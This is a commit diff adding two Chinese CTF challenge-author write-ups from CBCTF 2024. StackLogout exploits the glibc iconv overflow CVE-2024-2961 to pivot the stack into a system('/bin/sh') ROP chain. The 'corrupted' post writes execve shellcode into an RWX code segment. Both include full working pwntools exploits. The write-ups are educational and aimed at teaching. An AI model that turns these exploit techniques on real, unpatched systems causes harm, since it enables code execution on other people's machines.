Skip to content

Commit 401bab9

Browse files
committed
post cbctf2024 writeup (early stage)
1 parent e8ff005 commit 401bab9

15 files changed

+374
-0
lines changed
+255
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,255 @@
1+
---
2+
title: 赛博杯新生赛 2024 - StackLogout 出题博客
3+
date: 2024/12/22 10:47:00
4+
updated: 2024/12/22 18:17:00
5+
tags:
6+
- cve
7+
- stack pivot
8+
- buffer overflow
9+
- tricks
10+
- remote debugging
11+
- challenge author
12+
sticky: 97
13+
---
14+
15+
去年4月份左右 *pankas* 转发了一篇推文,讲PHP通杀的,我一看原文,竟然是glibc组件的bug,
16+
并且有cve编号。博客很详细,还更了整整3篇,不用调试就能看懂。
17+
18+
{% note purple fa-circle-arrow-right %}
19+
查看经典博客:https://www.ambionics.io/blog/iconv-cve-2024-2961-p1
20+
{% endnote %}
21+
22+
自从看到CVE-2024-2691的缓冲区溢出,我就一直想着考上一题,这次趁着新生赛,它来了!
23+
24+
## 出题思路
25+
26+
### 构思
27+
28+
我不打算考太难,于是就打算整一个栈迁移,相对堆来说还是好做的多的,但是又不能太简单,
29+
于是我打算要先泄露信息,才能打栈迁移。我和 *dbgbgtf* 商量了一下,我俩都出栈迁移,
30+
他的简单一点,就叫login,我呢刚好和他相反,叫logout。
31+
32+
我们的漏洞点是差不多的,我们俩都考缓冲区溢出,他的是Off by Null,我的是用cve溢出。
33+
34+
### 变换莫测的栈布局
35+
36+
我第一个写的就是有漏洞的函数,但是不同版本的gcc,不同的变量位置,
37+
会导致相应的栈布局发生变化。正好创新实践的作业可选120行的汇编,于是我先写了一个c
38+
源码作参考,然后开始写汇编:
39+
40+
```c who.c
41+
#include <alloca.h>
42+
#include <iconv.h>
43+
#include <emmintrin.h>
44+
#include <stdio.h>
45+
#include <string.h>
46+
#include <unistd.h>
47+
#include <immintrin.h>
48+
#include <xmmintrin.h>
49+
50+
void who(char *buf, unsigned long size) {
51+
__m128i zero = _mm_setzero_si128();
52+
char *tmp = alloca(size);
53+
char *local = alloca(size);
54+
unsigned toread = size, readin;
55+
readin = read(0, local, toread);
56+
for (int i = 0; i < size; i += 16)
57+
_mm_store_si128((__m128i *)(local + i), zero);
58+
__m128i mask = _mm_set1_epi8(0x80);
59+
for (int i = 0; i < size; i += 16) {
60+
__m128i data = _mm_load_si128((const __m128i *)(local + i));
61+
__m128i result = _mm_and_si128(mask, data);
62+
if (_mm_movemask_epi8(result)) {
63+
goto convert;
64+
}
65+
}
66+
testname:
67+
printf("Do you confirm? [y/n] ");
68+
char c = getchar();
69+
getchar(); // discard \n
70+
if (c == 'n')
71+
readin = read(0, local, toread & 0x1f8);
72+
else if (c != 'y')
73+
goto testname;
74+
// c == 'y'
75+
memcpy(buf, local, readin);
76+
return;
77+
convert:
78+
memcpy(tmp, local, size);
79+
puts("The input contains non-ascii chars!");
80+
puts("It is needed to be converted to ISO-2022-CN-EXT.");
81+
iconv_t cd = iconv_open("ISO-2022-CN-EXT", "UTF-8");
82+
char *pbuf = local, *ptmp = tmp;
83+
size_t inval = readin, outval = readin;
84+
iconv(cd, &ptmp, &inval, &pbuf, &outval);
85+
iconv_close(cd);
86+
}
87+
```
88+
89+
为了熟悉熟悉多字节操作,我还在里面加了点SSE2指令,总之就是memset和memcpy的意思。
90+
汇编代码有将近200行,在这里就不贴了,可以加入协会或等到仓库公开后,
91+
在[我们的仓库](https://github.com/0RAYS/2024-CBCTF/blob/main/Pwn/StackLogout/src/who.s)中找到。
92+
93+
{% folding green::GCC汇编优化命令 %}
94+
在gcc生成的汇编代码中,有许多以.开头的命令,在我的代码中就有许多。
95+
96+
- `.section .rodata.str1.8,"aMS",@progbits,1`: 生成一个段专门放对齐为8的字符串,最后会合并到
97+
`.rodata`
98+
- `.p2align 4`: 等价于`.align 2 ** 4`即`.align 16`
99+
- `.equ canary, 8`: 声明一个常量
100+
- `.p2align 4,,10`: 当对齐到16字节边界的代价不超过10字节,则对齐
101+
102+
大部分命令是对齐,可以给现代cpu提供一些加速。例如在[这系列博客](https://agner.org/optimize/)中,
103+
提到了cpu会一次性加载16字节倍数的字节码,因此将字节码对齐到边界后,
104+
jump过来后需要加载的字节码减少了,适合放在热点代码处。
105+
{% endfolding %}
106+
107+
最后写完以后栈布局就是这样:
108+
109+
<img src="/assets/cbctf2024/stackLayout.png" height="50%" width="50%">
110+
111+
在泄露完信息后,通过cve在第一次输入时多写一个字节到`toread`,造成足够长的长度做栈迁移,
112+
然后第二次输入写掉前一个函数的rbp,等待上个函数返回执行栈迁移。
113+
114+
{% notel green fa-candy-cane 隐藏在ELF中的彩蛋 %}
115+
在ELF的注释段有我在汇编中插入的彩蛋哦
116+
117+
<img src="/assets/cbctf2024/easteregg.png" height="70%" width="70%">
118+
{% endnotel %}
119+
120+
### 完善题目背景
121+
122+
既然这道题叫 **StackLogout** ,那么和stack_login对应的,我该整点退出操作,
123+
同时在这些函数里要给选手保留泄露信息的机会。于是我顺理成章地想到了类shell操作,
124+
手搓了一个"Pwn Shell"。并且在`logout`时由于缓冲区没有初始化,留下了信息,
125+
包含了libc、栈和canary。根据`who`函数的逻辑,在函数执行完毕返回时,会将输入的内容复制回
126+
`logout`的`buf`中,不带`'\0'`,而打印缓冲区时使用`%s`,于是造成信息泄露。
127+
128+
![leak](/assets/cbctf2024/leak.png)
129+
130+
### 消失的`leave`
131+
132+
当我把`main`写好,编译一看,`logout`的`leave`被优化没了。原来的计划是`who`通过溢出改
133+
rbp,`logout`再做`leave;ret`实现rop。
134+
135+
尽管我尝试开启`-fno-omit-frame-pointer`,程序确实使用了rbp,不再将其作为临时寄存器,
136+
但是离开函数时仍然没有使用`leave`,而是rsp直接加了一个常数。
137+
只有不开优化才能出现`leave`,没办法了,给它编译时整个特例。并且,
138+
由于之前设计的缓冲区大小是0x130,后期为了做起来简单调小了(不方便溢出多个字节),
139+
因此也没什么地方能写canary,顺便把`logout`的canary关了。
140+
141+
### patchelf失败
142+
143+
题出完了,我想在本地patchelf以后试试,结果不行。我把ubuntu的libc拉下来,但是`iconv_open`
144+
返回-1。我调了老半天,发现为了编码"ISO-2022-CN-EXT",需要加载其他库,而加载路径是写死的,
145+
由于Arch Linux的默认库路径与ubuntu并不相同,因此无法打开扩展库,也因此无法进行字节转换。
146+
147+
一开始我想放在Roderick的容器上调,但是一旦`apt upgrade`,libc库也会一同更新,
148+
而这些扩展库同属于libc包。而且让新生用这个办法也未免太麻烦了一点。于是我在pwntools
149+
里找其他的解决方案。我试着把程序放到容器中,然后ssh上去调试,结果打开的gdb是容器里的,
150+
没法使用本地的。再次研究gdbserver,假设它的`stdout`连接到`pts/2`,然后在`pts/3`中用gdb
151+
连上去,它的输出仍然出现在`pts/2`中!换言之,输入和输出和是不能通过gdb控制的。
152+
153+
于是我就想到了一个更优雅的办法:起一个容器,用xinetd分发`gdbserver :1337 /home/ctf/pwn`,
154+
这样然后用`pwn.remote`连到xinetd获取程序的输入输出,再用gdb连到1337端口,打开调试,
155+
如此实现了基于远程环境的调试,我也能直接把容器交给选手,方便选手的调试。
156+
157+
### 我的canary在哪里
158+
159+
题目出好了,我拿给 *dbgbgtf* 调试,结果他调试没有canary。这是怎么回事?我在本地尝试,
160+
发现`logout`中缓冲区上留下的canary是由`pwnShell`中运行的`strstr`留下的。在我的机子上,
161+
`strstr@PLT`实际运行了`__strstr_generic`,但是 *dbgbgtf* 机子上却运行着`__strstr_sse2_unaligned`,
162+
而在这个函数中没有设置canary。我直接调试研究这样运行的原因,结果是与cpu特性有关。
163+
我的cpu(R7 6800HS)没有`Fast_Unaligned_Load`,因此使用了`__strstr_generic`。
164+
165+
得,我直接让所有`strstr`强制运行`__strstr_generic`得了。
166+
167+
{% note blue fa-link %}
168+
我强制让`strstr`运行`__strstr_generic`的方法是定义了如下全局变量:
169+
`static char *(* __strstr_generic)(const char *, const char *) = (void *)((size_t)puts + 0x2dc30);`
170+
我原先以为它会在运行时计算,结果在ld加载阶段就算好了,直接放到ro区域了,和别的GOT项一个待遇。
171+
所以由于不同的libc库偏移不同,直接patchelf后运行大概率会挂掉,只能放在容器里调试。
172+
{% endnote %}
173+
174+
## 题解
175+
176+
不需要在`pwnShell`中做其他事,直接`logout`。然后在`who`中输入`\xe0`并确认,以此在`logout`中泄露
177+
libc。类似的,参照上面的图,泄露出stack和canary。然后借助cve把`toread`写成`0x48`,在`who`
178+
中再次输入,覆盖正确的canary并设置rbp。然后在`logout`中确认,成功栈迁移并运行rop链。
179+
180+
![overflow](/assets/cbctf2024/overflow.png)
181+
182+
需要注意的是,覆写rbp时不能留`who`函数的栈帧地址,因为`who`返回到`logout`后还要做`strchr`,
183+
在这个过程中,复制的东西会被覆写掉。还记得`who`退出前把缓冲区中的内容复制回`logout`了吗?
184+
借助这个功能,选择将栈迁移到`logout`的缓冲区即可成功执行rop链。
185+
186+
![rop](/assets/cbctf2024/rop.png)
187+
188+
## EXPLOIT
189+
190+
```python
191+
from pwn import *
192+
context.terminal = ['tmux','splitw','-h']
193+
context.arch = 'amd64'
194+
GOLD_TEXT = lambda x: f'\x1b[33m{x}\x1b[0m'
195+
EXE = './docker/StackLogout'
196+
197+
def payload(lo: int):
198+
global sh
199+
global gadgets
200+
if lo:
201+
if lo & 2:
202+
sh = remote('127.0.0.1', 3073)
203+
gdb.attach(('127.0.0.1', 4097), 'b *who+387', EXE)
204+
else:
205+
sh = remote('127.0.0.1', 2049)
206+
else:
207+
sh = remote('training.0rays.club', 10016)
208+
libc = ELF('/home/Rocket/glibc-all-in-one/libs/2.39-0ubuntu8_amd64/libc.so.6')
209+
210+
def logout(buf: bytes, confirm: bool, go_on: bool, buf2: bytes=b'') -> bytes:
211+
sh.sendafter(b'user', buf)
212+
if confirm:
213+
sh.sendlineafter(b'confirm', b'y')
214+
else:
215+
sh.sendlineafter(b'confirm', b'n')
216+
if lo & 2:
217+
pause()
218+
sh.send(buf2)
219+
220+
sh.recvuntil(b'you? ') # strip ' [y/n]'
221+
return sh.sendlineafter(b' [y/n]', b'n' if go_on else b'y')[:-6]
222+
223+
sh.sendlineafter(b'psh', b'logout')
224+
reply = logout(b'\xe0', True, True)
225+
libcBase = u64(reply + b'\0\0') - libc.symbols['_IO_2_1_stdin_']
226+
libc.address = libcBase
227+
success(GOLD_TEXT(f"Leak libcBase: {libcBase:#x}"))
228+
229+
reply = logout(b'STACK'.rjust(8), True, True)
230+
# stack under logout is unstable!
231+
stack = u64(reply[reply.index(b'STACK') + 5:] + b'\0\0') - 0x60
232+
success(GOLD_TEXT(f"Leak stack: {stack:#x}"))
233+
234+
reply = logout(b'CANARY'.rjust(0x19), True, True)
235+
canary = u64(b'\0' + reply[reply.index(b'CANARY') + 6:][:7])
236+
success(GOLD_TEXT(f"Leak canary: {canary:#x}"))
237+
238+
gadgets = ROP(libc)
239+
logout(b'Trigger CVE-2024-2961!!'.ljust(0x2d) + '劄'.encode(), False, False,
240+
# system("bin/sh")
241+
flat(gadgets.rdi.address, next(libc.search(b'/bin/sh')), libc.symbols['system'],
242+
# _exit(0)
243+
gadgets.rdi.address, 0, libc.symbols['_exit'],
244+
0x48, canary, stack - 8))
245+
246+
sh.clean()
247+
sh.interactive()
248+
sh.close()
249+
```
250+
251+
## 参考
252+
253+
1. [Iconv, set the charset to RCE: Exploiting the glibc to hack the PHP engine (part 1)](https://www.ambionics.io/blog/iconv-cve-2024-2961-p1)
254+
2. [2024-CBCTF/Pwn/StackLogout/src/who.s at main](https://github.com/0RAYS/2024-CBCTF/blob/main/Pwn/StackLogout/src/who.s)
255+
3. [Software optimization resources. C++ and assembly](https://agner.org/optimize/)

source/_posts/cbctf2024/corrupted.md

+117
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,117 @@
1+
---
2+
title: 赛博杯新生赛 2024 - corrupted 出题博客
3+
date: 2024/12/18 19:37:00
4+
updated: 2024/12/22 10:47:00
5+
tags:
6+
- noob
7+
- elf header
8+
- challenge author
9+
sticky: 92
10+
thumbnail: /assets/cbctf2024/rwx.png
11+
---
12+
13+
前段时间在看ELF头,正好新生赛到了,可以拿来出一道简单题,类似于`ret2shell`
14+
想看题解的可以跳过出题思路部分。
15+
16+
## 出题思路
17+
18+
首先可以使用ImHex来探查一下文件的结构。加载`elf.hexpat`:
19+
20+
![img](/assets/cbctf2024/elf.png)
21+
22+
大部分内容在[ctf-wiki](https://ctf-wiki.org/executable/elf/structure/basic-info/)
23+
都说得很清楚,我这里就不再赘述了,大家可以参考学习。我的想法主要是如果修改了ELF文件头,
24+
会发生什么呢?
25+
26+
对于程序头`phdr`来说,如果`p_type == PT::LOAD`,那么它就是负责加载程序段的。
27+
对于本题的情况,我把原来加载代码段的`rx`改成了`rwx`,这样代码段就变成可读可写可执行了。
28+
29+
![rwx](/assets/cbctf2024/rwx.png)
30+
31+
我还尝试改过段头`shdr`,但是发现改完后对于程序的加载没有任何影响,甚至把整个`shdr`
32+
全部删掉,程序依然能够运行。
33+
34+
{% note purple fa-bug-slash %}
35+
用gdb直接调试没有段头的程序,会提示可执行文件格式错误,这也是反调试的一种手段。
36+
{% endnote %}
37+
38+
接着讲回`phdr`,在程序头中,存在2个程序安全特性:`PT::GNU_STACK``PT::GNU_RELRO`
39+
对于前者,`p_flags`可以设置程序栈区的权限(可以为`x`,即调整NX);对于后者,
40+
调整了权限也没用,程序仍然会将GOT表设为只读。删除`PT::GNU_STACK`
41+
会让内核自行选择是否需要开启NX,删除`PT::GNU_RELRO`则会使程序从`Partial RELRO`
42+
`Full RELRO`回落到`No RELRO`
43+
44+
{% notel blue fa-arrow-right-to-bracket 隐藏的构造器 %}
45+
有些同学可能看见`randdata`放在bss上,就以为`randdata`里面是空的,只要推算出全0的
46+
SHA256结果就能过verify。然而,程序中还有一个函数`loadBuf`,被标记了`constructor`
47+
属性,在程序运行`main`之前会将从`/dev/random`中的随机数据读入`randdata`中,
48+
因此如果正常猜的话选手是不可能猜中`randdata`的值的。
49+
{% endnotel %}
50+
51+
## 题解
52+
53+
程序可以输入4次qword,并且可以指定相对于`match`的偏移量,但是检查时不严格,
54+
可以为负数。
55+
56+
![check](/assets/cbctf2024/check.png)
57+
58+
在输入完4次qword后,会运行到`verify`函数。运行起来查看`vmmap`,程序代码段是可写的,
59+
再检查`verify`的地址,刚好和`match`差了`0x2b90`个字节,可以通过设置偏移量为`-1394`修改
60+
`verify`函数的内容。
61+
62+
![diff](/assets/cbctf2024/vmmap.png)
63+
64+
可以修改4次,总共32字节,足以写一shellcode了,直接拿shell。
65+
66+
![legend](/assets/cbctf2024/legend.png)
67+
68+
## EXPLOIT
69+
70+
```python
71+
from pwn import *
72+
context.terminal = ['tmux','splitw','-h']
73+
context.arch = 'amd64'
74+
GOLD_TEXT = lambda x: f'\x1b[33m{x}\x1b[0m'
75+
EXE = './corrupted'
76+
77+
def payload(lo: int):
78+
global sh
79+
if lo:
80+
sh = process(EXE)
81+
if lo & 2:
82+
gdb.attach(sh)
83+
else:
84+
sh = remote('training.0rays.club', 10030)
85+
elf = ELF(EXE)
86+
87+
def answer(idx: int, val: int):
88+
sh.sendlineafter(b'QWORD do', str(idx).encode())
89+
sh.sendlineafter(b'QWORD to', str(val).encode())
90+
91+
offset = (elf.symbols['verify'] - elf.symbols['match']) // 8
92+
shell = '''
93+
mov rbx, 0x68732f6e69622f
94+
push rbx
95+
push rsp
96+
pop rdi
97+
xor esi, esi
98+
push 0x3b
99+
pop rax
100+
cdq
101+
syscall
102+
'''
103+
shc = asm(shell) # 21 bytes
104+
105+
answer(offset, u64(shc[:8]))
106+
answer(offset + 1, u64(shc[8:16]))
107+
answer(offset + 2, unpack(shc[16:], 'all'))
108+
answer(0, 0)
109+
110+
sh.clean()
111+
sh.interactive()
112+
sh.close()
113+
```
114+
115+
## 参考
116+
117+
[ELF 文件 - CTF Wiki](https://ctf-wiki.org/executable/elf/structure/basic-info/)

source/_posts/dasx0rays2024/ChromeLogger.md

+1
Original file line numberDiff line numberDiff line change
@@ -8,6 +8,7 @@ tags:
88
- House of Apple 3
99
- exit hook
1010
- buffer overflow
11+
- challenge author
1112
sticky: 80
1213
thumbnail: /assets/dasx0rays2024/logo.png
1314
---

source/_posts/dasx0rays2024/WhereIsMySauce.md

+1
Original file line numberDiff line numberDiff line change
@@ -4,6 +4,7 @@ date: 2024/10/22 23:44:00
44
updated: 2024/10/23 19:03:00
55
tags:
66
- tricks
7+
- challenge author
78
thumbnail: /assets/dasx0rays2024/debuginfod.png
89
---
910
<!-- excerpt -->

source/assets/cbctf2024/check.png

59.2 KB
Loading

source/assets/cbctf2024/easteregg.png

197 KB
Loading

source/assets/cbctf2024/elf.png

438 KB
Loading

source/assets/cbctf2024/leak.png

122 KB
Loading

source/assets/cbctf2024/legend.png

35.9 KB
Loading

source/assets/cbctf2024/overflow.png

140 KB
Loading

source/assets/cbctf2024/phdr.png

94.8 KB
Loading

source/assets/cbctf2024/rop.png

269 KB
Loading

source/assets/cbctf2024/rwx.png

147 KB
Loading
103 KB
Loading

source/assets/cbctf2024/vmmap.png

116 KB
Loading

0 commit comments

Comments
 (0)